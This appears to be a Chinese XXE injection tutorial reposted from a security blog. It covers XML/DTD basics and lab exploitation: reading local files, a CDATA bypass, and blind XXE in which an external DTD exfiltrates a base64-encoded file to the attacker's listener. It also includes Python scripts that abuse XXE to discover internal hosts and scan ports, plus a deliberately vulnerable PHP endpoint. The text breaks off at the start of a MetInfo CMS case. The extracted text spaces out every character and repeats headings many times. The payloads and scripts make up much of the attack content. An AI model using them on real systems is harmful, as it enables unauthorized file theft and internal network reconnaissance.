搜索

[6413] 2020-01-08_深入浅出学习—XXE

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2020-01-08_深入浅出学习—XXE 深 入 浅 出 学 习 — X X E E 安 全   2 0 2 0 - 0 1 - 0 8 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 T e a m s S i x N o . 1 N o . 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 2 N o . 2 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E 关 于 关 于 X X E X M L 是 什 么 是 什 么 X X E （ X M L   E x t e r n a l   E n t i t y   I n j e c t i o n ） 全 称 为   X M L   外 部 实 体 注 入 ， X X E 的 第 二 个 字 母   " X "   取 自 单 词   " E x t e r n a l "   的 第 二 个 字 母 ， 很 好 奇 为 什 么 不 叫 X E E （ 手 动 狗 头 ） 话 不 多 说 ， 让 我 们 进 入 今 天 的 正 题 ， 对 于   X X E   想 要 真 正 的 了 解 它 ， 就 需 要 先 来 了 解 一 下 X M L 是 什 么 。 X M L （ E x t e n s i b l e   M a r k u p   L a n g u a g e ） 英 文 直 译 就 是 可 扩 展 标 记 语 言 ， “ 标 记 ”   是 指 计 算 机 所 能 理 解 的 信 息 符 号 ， 通 过 此 种 标 记 ， 计 算 机 之 间 可 以 处 理 包 含 各 种 信 息 的 文 章 等 。 如 果 把   H T M L   和   X M L   进 行 对 比 的 话 ，   H T M L   旨 在 显 示 数 据 信 息 ， 而   X M L   旨 在 传 输 数 据 信 息 。 X M L   也 可 以 理 解 为 一 种 写 法 类 似 于   H T M L   语 言 的 数 据 格 式 文 档 ， 但 是   X M L   与   H T M L   是 为 不 同 目 的 而 设 计 的 。 如 果 感 觉 听 不 懂 的 话 也 没 关 系 ， 先 有 个 印 象 。 1 . X M L 的 语 言 格 式 规 范 的 语 言 格 式 规 范 基 本 上 每 个 语 言 都 有 自 己 的 格 式 规 范 ，   X M L   当 然 也 不 例 外 ，   X M L   的 格 式 规 范 是 由 一 个 叫 做   D T D （ D o c u m e n t   T y p e D e f i n i t i o n ）   的 东 西 控 制 的 。 这 个   D T D   的 作 用 就 是 去 定 义   X M L   文 档 的 合 法 构 建 模 块 ， 也 就 是 说 声 明 了   X M L   的 内 容 格 式 规 范 。 D T D   的 声 明 方 式 分 为 两 种 ： 内 部   D T D   和 外 部   D T D   ， 其 区 别 就 在 于 ： 对   X M L   文 档 中 的 元 素 、 属 性 和 实 体 的   D T D   的 声 明 是 在   X M L   文 档 内 部 引 用 还 是 引 用 外 部 的   . d t d   文 件 。 下 面 是 一 个 内 部   D T D   的   X M L   示 例 ： 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
< ! - - X M L 声 明 - - > < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! - - D T D ， 文 档 类 型 声 明 - - > < ! D O C T Y P E   n o t e   [   # 定 义 此 文 档 是 n o t e 类 型 < ! E L E M E N T   n o t e   ( b o d y ) >   # 定 义 n o t e 元 素 有 一 个 元 素 ： " b o d y " < ! E L E M E N T   b o d y   ( # P C D A T A ) >   # 定 义 b o d y 元 素 为 " # P C D A T A " 类 型 < ! E N T I T Y   w r i t e r   " h e l l o   w o r d " >   # 定 义 一 个 内 部 实 体 ] > < ! - - 文 档 元 素 - - >                                                                                                                                                 < n o t e > < b o d y > & w r i t e r < / b o d y > < / n o t e > 上 面 第   7   行 中 定 义 了 一 个 内 部 实 体 ， 在 第   1 1   行 中 对 上 面 定 义 的   w r i t e r   实 体 进 行 了 引 用 ， 到 时 候 输 出 的 时 候   & w r i t e r   就 会 被   " h e l l o   w o r d "   替 换 ， 通 过 上 面 的 例 子 ， 我 们 可 以 简 单 的 理 解 成 一 个 实 体 其 实 就 是 一 个 变 量 。 值 得 注 意 的 是 实 体 类 型 分 为 两 种 ： 内 部 实 体 和 外 部 实 体 ， 上 面 是 内 部 实 体 的 例 子 ， 而 今 天 的 重 点 是 外 部 实 体 ， 下 面 就 来 看 看 一 个 外 部 实 体 的 例 子 。 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   f o o   [ < ! E L E M E N T   f o o   A N Y   >   # 定 义 元 素 为 A N Y ， 即 可 以 接 受 任 何 元 素 。 < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / c : / t e s t . d t d "   > ] > < r o o t > < b o d y > & x x e < / b o d y >   # 定 义 一 个 外 部 实 体 < / r o o t > 通 过 第   4   行 的 定 义 ，   第   7   行 的   & x x e   就 会 对   c : / t e s t . d t d   文 件 资 源 进 行   S Y S T E M   关 键 字 的 引 用 ， 这 样 对 引 用 资 源 所 做 的 任 何 更 改 都 会 在 文 档 中 自 动 更 新 。 虽 然 这 样 做 是 方 便 了 ， 但 很 多 时 候 安 全 与 方 便 总 是 矛 与 盾 的 关 系 。 另 外 除 了 上 面   S Y S T E M   关 键 字 的 引 用 方 式 ， 还 有 一 种 引 用 方 式 是 使 用   P U B L I C   引 用 公 用   D T D   的 方 式 ， 语 法 如 下 ： < ! D O C T Y P E   根 元 素 名 称   P U B L I C   “ D T D 标 识 名 ”   “ 公 用 D T D 的 U R I ” > 这 个 在 我 们 的 攻 击 中 也 可 以 起 到 和   S Y S T E M   一 样 的 作 用 ， 但 实 际 上 实 体 远 不 止 这 一 种 ， 我 们 以 上 涉 及 的 实 体 只 是 其 中 的 一 种 ， 被 称 为 通 用 实 体 。 实 体 总 共 有 四 种 ， 分 别 是 ： 1 、 内 置 实 体   ( B u i l t - i n   e n t i t i e s ) 2 、 字 符 实 体   ( C h a r a c t e r   e n t i t i e s ) 3 、 通 用 实 体   ( G e n e r a l   e n t i t i e s ) 4 、 参 数 实 体   ( P a r a m e t e r   e n t i t i e s ) 其 中 内 置 实 体 和 字 符 实 体 都 和   H T M L   的 实 体 编 码 类 似 ， 但 如 果 从 另 一 个 角 度 看 ， 实 体 完 全 可 以 分 成 两 个 派 别 ： 通 用 实 体 和 参 数 实 体 。 估 计 不 少 人 看 到 这 里 会 感 觉 有 点 绕 ， 但 没 关 系 ， 因 为 这 不 会 影 响 你 对 下 面 内 容 的 理 解 与 复 现 ， 感 兴 趣 的 可 以 把 上 面 的 内 容 反 复 看 几 遍 ， 或 者 看 看 文 章 尾 部 的 参 考 文 章 。 通 用 实 体 我 们 上 面 已 经 举 了 不 少 例 子 ， 下 面 就 来 看 看 参 数 实 体 ： < ! E N T I T Y   %   a n - e l e m e n t   " < ! E L E M E N T   m y t a g   ( s u b t a g ) > " > < ! E N T I T Y   %   r e m o t e - d t d   S Y S T E M   " h t t p : / / s o m e w h e r e . e x a m p l e . o r g / r e m o t e . d t d " > % a n - e l e m e n t ;   % r e m o t e - d t d ;
在 上 面 的 代 码 示 例 中 ， 可 以 看 到 实 体 名 前 多 了 一 个   " % "   ， 在 参 数 实 体 中 使 用   " %   实 体 名 "   ( 这 里 面 的 空 格 不 能 少 )   定 义 ， 并 且 只 能 在   D T D   中 使 用   " %   实 体 名 "   引 用 。 另 外 和 通 用 实 体 一 样 ， 参 数 实 体 也 可 以 外 部 引 用 ， 同 时 只 有 在   D T D   文 件 中 ， 参 数 实 体 的 声 明 才 能 引 用 其 他 实 体 ， 还 需 要 知 道 的 是 参 数 实 体 在   B l i n d   X X E   中 起 到 了 至 关 重 要 的 作 用 。 2 、 、 X M L 注 入 注 入 接 下 来 我 们 来 简 单 的 了 解 一 下 X M L 注 入 ， 这 部 分 很 容 易 就 能 理 解 。 在 下 面 是 一 个 普 通 的 X M L 注 入 示 例 ： # 注 入 前 X M L 代 码 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " > < U S E R   r o l e = " a d m i n " > 用 户 输 入 位 置 < / U S E R > 当 用 户 输 入 一 些 恶 意 代 码 ， 比 如 U s e r 1 < / U S E R > < U S E R   r o l e = " a d m i n " > U s e r 2 ， 原 X M L 代 码 就 变 成 了 下 面 的 样 子 ： # 注 入 后 X M L 代 码 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " > < U S E R   r o l e = " a d m i n " > U s e r 1 < / U S E R > < U S E R   r o l e = " a d m i n " > U s e r 2 < / U S E R > 可 以 看 到 通 过 X M L 语 句 的 前 后 拼 接 ，   X M L 代 码 被 插 入 了 进 去 。 对 普 通 的   X M L   注 入 ， 利 用 面 比 较 狭 窄 ， 现 实 中 也 是 比 较 鸡 肋 的 存 在 ， 因 此 几 乎 用 不 到 ， 如 果 有 的 话 应 该 也 是 逻 辑 漏 洞 ， 这 个 时 候 X X E 就 出 现 了 ！ 注 意 ， 重 点 来 了 （ 敲 黑 板 ） N o . 3 N o . 3 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 X X E 的 利 用 的 利 用 复 现 环 境 复 现 环 境 a 、 目 标 靶 机 I P ： 1 9 2 . 1 6 8 . 3 8 . 1 3 2 环 境 ： W i n 7   +   p h p s t u d y   +   a p a c h e   +   p h p b 、 本 地 主 机 I P ： 1 9 2 . 1 6 8 . 1 0 . 3 0 环 境 ： W i n 1 0   +   p h p s t u d y   +   a p a c h e   +   B u r p S u i t e   +   P y t h o n 3 注 意 ： 为 了 便 于 理 解 ， 笔 者 在 部 分 地 方 添 加 了 注 释 ， 如 果 读 者 想 要 复 现 文 中 内 容 ， 记 得 删 除 注 释 再 使 用 ， 避 免 复 现 失 败 。 1 、 有 回 显 读 本 地 敏 感 文 件 、 有 回 显 读 本 地 敏 感 文 件   ( N o r m a l   X X E ) x x e _ t e s t . p h p （ 在 靶 机 ）
< ? p h p     l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r   ( f a l s e ) ;     $ x m l f i l e   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ;     $ d o m   =   n e w   D O M D o c u m e n t ( ) ;     $ d o m - > l o a d X M L ( $ x m l f i l e ,   L I B X M L _ N O E N T   |   L I B X M L _ D T D L O A D ) ;     $ c r e d s   =   s i m p l e x m l _ i m p o r t _ d o m ( $ d o m ) ;       e c h o   $ c r e d s ; ? > 在 C 盘 下 新 建 一 个 f l a g . t x t ， 内 容 我 设 置 成 了   " X X E   P a y l o a d   E x e c u t e d   S u c c e s s f u l l y ! ! ! " 。 p a y l o a d （ 在 本 地 ） < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   c r e d s   [ < ! E N T I T Y   g o o d i e s   S Y S T E M   " f i l e : / / / c : / f l a g . t x t " >   ] > < c r e d s > & g o o d i e s ; < / c r e d s > 因 为 f l a g . t x t 文 件 中 没 有 特 殊 符 号 ， 比 如   &   <   >   ”   ’   ， 所 以 获 取 文 件 内 容 很 顺 利 ， 如 果 把 文 件 内 容 加 点 特 殊 符 号 ， 比 如 下 面 这 个 样 子 ， 在 原 来 基 础 上 加 上 左 右 尖 括 号 ： < X X E   P a y l o a d   E x e c u t e d   S u c c e s s f u l l y ! ! ! > 此 时 再 访 问 就 是 这 个 样 子 ：
可 以 看 到 当 被 读 取 文 件 中 含 有 特 殊 符 号 时 ， 不 但 没 有 预 期 想 要 的 结 果 ， 还 返 回 了 一 堆 错 误 ， 这 个 时 候 就 需 要 使 用 C D A T A 了 ， 下 面 是 引 用 W I K I 中 关 于 C D A T A 的 介 绍 。 C D A T A ， 意 为 c h a r a c t e r   d a t a ， 是 标 记 语 言 S G M L 与 X M L ， 表 示 文 档 的 特 定 部 分 是 普 通 的 字 符 数 据 ， 而 不 是 非 字 符 数 据 或 有 特 定 、 限 定 结 构 的 字 符 数 据 。 在 X M L 文 档 或 外 部 实 体 中 ， 一 个 C D A T A   s e c t i o n 是 一 段 按 字 面 解 释 的 内 容 ， 不 作 为 标 记 文 本 。 字 符 用 C D A T A 节 表 示 或 者 按 照 标 准 语 法 表 示 ， 并 无 差 异 。 例 如 " < "   与   " & "   分 别 表 示   " < 其 实 简 单 一 点 的 来 说 也 就 是 说 ， 将 脚 本 代 码 定 义 为   " C D A T A "   后 ， C D A T A   部 分 中 的 内 容 就 会 被 解 析 器 忽 略 ， 这 个 时 候 就 可 以 读 取 文 件 了 ， 那 么 接 下 来 把 P a y l o a d 修 改 修 改 。 C D A T A   P a y l o a d （ 在 本 地 ） < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? > < ! D O C T Y P E   r o o t t a g   [ < ! E N T I T Y   %   s t a r t   " < ! [ C D A T A [ " >     < ! E N T I T Y   %   g o o d i e s   S Y S T E M   " f i l e : / / / c : / f l a g . t x t " > < ! E N T I T Y   %   e n d   " ] ] > " > < ! E N T I T Y   %   d t d   S Y S T E M   " h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 3 0 / e v i l . d t d " >   # 本 地 I P % d t d ;   ] > < r o o t t a g > & a l l ; < / r o o t t a g > e v i l . d t d （ 在 本 地 ） < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! E N T I T Y   a l l   " % s t a r t ; % g o o d i e s ; % e n d ; " > 利 用 带 有 C D A T A 的 P a y l o a d ， 可 以 看 到 特 殊 符 号 被 成 功 绕 过 。 不 过 在 正 常 环 境 中 ， 服 务 器 上 的 X M L 就 不 是 用 来 输 出 的 ， X M L 文 件 一 般 都 是 用 于 配 置 或 者 在 一 些 极 端 条 件 下 才 能 刚 好 实 例 化 解 析 X M L 的 类 ， 因 此 在 现 实 环 境 中 利 用 这 个 漏 洞 就 需 要 找 到 不 依 靠 回 显 的 方 法 。 2 、 无 回 显 读 取 本 地 敏 感 文 件 、 无 回 显 读 取 本 地 敏 感 文 件   ( B l i n d   X X E ) x x e _ t e s t . p h p （ 在 靶 机 ） < ? p h p l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r   ( f a l s e ) ; $ x m l f i l e   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ d o m   =   n e w   D O M D o c u m e n t ( ) ; $ d o m - > l o a d X M L ( $ x m l f i l e ,   L I B X M L _ N O E N T   |   L I B X M L _ D T D L O A D ) ; ? >
e v i l . d t d （ 在 本 地 ） < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / c : / f l a g . t x t " > < ! E N T I T Y   %   i n t   " < ! E N T I T Y   & # 3 7 ;   s e n d   S Y S T E M   ' h t t p : / / 1 9 2 . 1 6 8 . 1 0 . 3 0 : 9 9 9 9 ? p = % f i l e ; ' > " >   # 本 地 I P P a y l o a d （ 在 本 地 ） < ! D O C T Y P E   c o n v e r t   [ < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X . 3 0 / e v i l . d t d " >   # 本 地 I P % r e m o t e ; % i n t ; % s e n d ; ] > 在 e v i l . d t d 中 表 示 把 返 回 数 据 传 到 本 地 的 9 9 9 9 端 口 中 ， 因 此 用 n c 监 听 9 9 9 9 端 口 就 能 看 到 靶 机 返 回 的 数 据 ， 下 图 中 红 框 标 注 的 数 据 用 b a s e 6 4 解 码 便 是 靶 机 上   " c : / f l a g . t x t "   的 内 容 。 至 于 为 什 么 返 回 数 据 是 b a s e 6 4 编 码 ， 也 是 为 了 不 破 环 原 来 的 X M L 语 法 ， 如 果 不 编 码 则 会 报 错 。 关 于 这 个   B l i n d   X X E   利 用 方 式 的 更 多 脑 洞 可 以 参 阅 文 章 底 部 的 参 考 文 章 。 3 、 、 H T T P 内 网 主 机 探 测 内 网 主 机 探 测 话 不 多 说 ， 直 接 S h o w   m e   t h e   c o d e ， 下 面 代 码 是 我 在 前 人 的 基 础 上 做 了 一 些 修 改 ， 运 行 时 注 意 代 码 为 P y t h o n 3 代 码 。 P a y l o a d （ 在 本 地 ） 讲 道 理 ， 代 码 运 行 着 还 是 挺 慢 的 ， 当 时 想 着 用 多 线 程 ， 但 是 发 现 用 多 线 程 速 度 相 差 也 不 大 ， 所 以 多 线 程 的 代 码 就 不 放 了 ， 感 兴 趣 的 读 者 可 以 自 己 尝 试 着 对 代 码 进 行 优 化 ， 如 果 遇 到 什 么 问 题 也 可 以 在 我 的 公 众 号   “ T e a m s S i x ”   进 行 留 言 。 另 外 如 果 读 者 想 要 复 现 的 话 ， 记 得 修 改 代 码 中 的 I P ， 靶 机 上 的   x e e _ t e s t . p h p   和 之 前 N o r m a l   X X E 利 用 的 内 容 一 致 即 可 。 上 面 的 P a y l o a d 运 行 起 来 就 是 这 个 样 子 ： i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 d e f   X X E ( i p , s t r i n g ) : t r y :   x m l   =   " " " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " I S O - 8 8 5 9 - 1 " ? > " " "   x m l   =   x m l   +   " r n "   +   " " " < ! D O C T Y P E   f o o   [   < ! E L E M E N T   f o o   A N Y   > " " "   x m l   =   x m l   +   " r n "   +   " " " < ! E N T I T Y   x x e   S Y S T E M   " " "   +   ' " '   +   s t r i n g   +   ' " '   +   " " " > ] > " " "   x m l   =   x m l   +   " r n "   +   " " " < x m l > " " "   x m l   =   x m l   +   " r n "   +   " " "         < s t u f f > & x x e ; < / s t u f f > " " "   x m l   =   x m l   +   " r n "   +   " " " < / x m l > " " "   x   =   r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . 1 6 8 . 3 8 . 1 3 2 / x x e _ t e s t . p h p ' ,   d a t a = x m l ,   h e a d e r s = h e a d e r s ,   t i m e o u t = 5 ) . t e x t   # 记 得 修 改 靶 机 地 址   c o d e d _ s t r i n g   =   x . s p l i t ( '   ' ) [ - 2 ]   p r i n t ( '   [ + ] ' , i p , ' S u c c e s s f u l l y   F o u n d   ! ! ! ' )   e x c e p t :   p r i n t ( '   [ - ] ' , i p , ' E r r o r ' )     p a s s i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : h e a d e r s   =   { ' C o n t e n t - T y p e ' : ' a p p l i c a t i o n / x m l ' }   f o r   i   i n   r a n g e ( 1 , 2 5 5 ) :   i p   =   ' 1 9 2 . 1 6 8 . 3 8 . '   +   s t r ( i )     # 记 得 修 改 I P 段   s t r i n g   =   ' p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = h t t p : / / '   +   i p   +   ' / '   X X E ( i p , s t r i n g )
~ #   p y t h o n 3   i n h o s t s c a n . p y [ + ]   1 9 2 . X X X . X X . 1   S u c c e s s f u l l y   F o u n d   ! ! !   [ + ]   1 9 2 . X X X . X X . 2   S u c c e s s f u l l y   F o u n d   ! ! !   [ - ]   1 9 2 . 1 6 8 . 3 8 . 3   E r r o r [ - ]   1 9 2 . X X X . X X . 4   E r r o r … … 内 容 太 多 ， 此 处 省 略 … …   [ - ]   1 9 2 . X X X . X X . 1 2 8   E r r o r [ + ]   1 9 2 . X X X . X X . 1 2 9   S u c c e s s f u l l y   F o u n d   ! ! !   [ - ]   1 9 2 . X X X . X X . 1 3 0   E r r o r [ - ]   1 9 2 . X X X . X X . 1 3 1   E r r o r [ + ]   1 9 2 . X X X . X X . 1 3 2   S u c c e s s f u l l y   F o u n d   ! ! !   [ - ]   1 9 2 . X X X . X X . 1 3 3   E r r o r [ - ]   1 9 2 . X X X . X X . 1 3 4   E r r o r … … 内 容 太 多 ， 此 处 省 略 … … 如 果 运 行 代 码 的 时 候 报 错 提 示 没 有 安 装 模 块 ， 直 接 根 据 报 错 提 示 安 装 对 应 模 块 即 可 。 4 、 、 H T T P 内 网 主 机 端 口 扫 描 内 网 主 机 端 口 扫 描 找 到 了 内 网 的 主 机 ， 还 需 要 对 其 端 口 进 行 扫 描 ， 原 理 和 上 面 一 致 ， 只 不 过 I P 固 定 ， 遍 历 端 口 ， 对 于 端 口 是 否 开 放 可 以 根 据 响 应 时 间 判 断 ， 下 面 放 出 P a y l o a d 。 P a y l o a d i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 d e f   X X E ( p o r t ) : x m l   =   " " " < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >   " " " x m l   =   x m l   +   " r n "   +   " " " < ! D O C T Y P E   d a t a   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X 1 2 9 : " " "   +   s t r ( p o r t )   +   " " " / "   [ " " " x m l   =   x m l   +   " r n "   +   " " " < ! E L E M E N T   d a t a   ( # P C D A T A ) >   " " " x m l   =   x m l   +   " r n "   +   " " " ] > " " " x m l   =   x m l   +   " r n "   +   " " " < d a t a > 7 < / d a t a > " " " r   =   r e q u e s t s . p o s t ( ' h t t p : / / 1 9 2 . X X X . X X . 1 3 2 / x x e _ t e s t . p h p ' ,   d a t a = x m l , t i m e o u t = 5 )   # 记 得 修 改 靶 机 地 址 p r i n t ( p o r t , r . e l a p s e d . t o t a l _ s e c o n d s ( ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :   f o r   i   i n   r a n g e ( 1 , 6 5 5 3 5 ) :   X X E ( i ) P a y l o a d 运 行 起 来 就 是 这 个 样 子 ： ~ #   p y t h o n   p o r t s c a n . p y 1   1 . 0 1 4 7 0 3 2   1 . 0 1 3 7 8 … … 内 容 太 多 ， 此 处 省 略 … … 2 1   1 . 0 3 9 3 3 7 2 2   0 . 0 2 0 8 9 5 2 3   1 . 0 2 2 8 8 2 … … 内 容 太 多 ， 此 处 省 略 … … 1 1 0 1 . 0 3 3 7 5 1 1 1 1   0 . 0 0 8 6 3 4 1 1 2   1 . 0 3 8 7 7 4 … … 内 容 太 多 ， 此 处 省 略 … … 可 以 很 明 显 的 发 现   2 2   端 口 和   1 1 1   端 口 的 响 应 时 间 远 小 于 其 他 端 口 ， 根 据 此 特 征 便 可 以 判 断   2 2 、 1 1 0   端 口 是 开 启 的 ， 不 过 也 可 以 用 B u r p 对 端 口 进 行 爆 破 ， P a y l o a d 如 下 ： < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >   < ! D O C T Y P E   d a t a   S Y S T E M   " h t t p : / / 1 9 2 . X X X . X X . 1 2 9 : 2 2 / "   [ < ! E L E M E N T   d a t a   ( # P C D A T A ) > ] > < d a t a > 7 < / d a t a > 只 需 要 把 上 面 的 P a y l o a d 以 端 口 进 行 遍 历 即 可 ， 但 我 没 有 找 到 B u r p 爆 破 结 果 以 响 应 时 间 排 序 的 方 法 ， 所 以 我 还 是 选 择 用 P y t h o n 。
N o . 4 N o . 4 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 X X E 实 例 （ 实 例 （ M e t I n f o 6 . 0 . 0 C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） C M S ） ） 复 现 环 境 复 现 环 境 a 、 目 标 靶 机 I P ： 1 9 2 . 1 6 8 . 3 8 . 1 3 2 环 境 ： W i n 7   +   p h p s t u d y   +   a p a c h e   +   p h p b 、 本 地 主 机 I P ： 1 9 2 . 1 6 8 . 5 . 9 、 1 9 2 . 1 6 8 . 3 8 . 1 2 9 环 境 ： W i n 1 0   +   K a l i   +   p h p s t u d y   +   a p a c h e   +   B u r p S u i t e   +   P y t h o n 3   +   R u b y 注 意 ： 为 了 便 于 理 解 ， 笔 者 在 部 分 地 方 添 加 了 注 释 ， 如 果 读 者 想 要 复 现 文 中 内 容 ， 记 得 删 除 注 释 再 使 用 ， 避 免 复 现 失 败 。 1 、 本 地 搭 建 、 本 地 搭 建 靶 场 下 载 地 址 ： h t t p s : / / w w w . m e t i n f o . c n / u p l o a d / f i l e / M e t I n f o 6 . 0 . 0 . z i p 下 载 解 压 ， 取 消 文 件 夹 只 读 权 限 ， 把 解 压 文 件 放 到 W W W 目 录 下 。 接 下 来 访 问 靶 机 的 I P 地 址 ， 跟 着 C M S 的 提 示 一 步 一 步 走 ， 很 容 易 就 能 搭 建 成 功 ， 如 果 是 L i n u x 环 境 ， 建 议 使 用 宝 塔 安 装 ， 比 较 方 便 。 2 、 、 X X E 测 试 测 试 直 接 上 工 具   X X E i n j e c t o r 这 里 的 工 具 使 用 命 令 ： . / X X E i n j e c t o r . r b   - - h o s t = 1 9 2 . 1 6 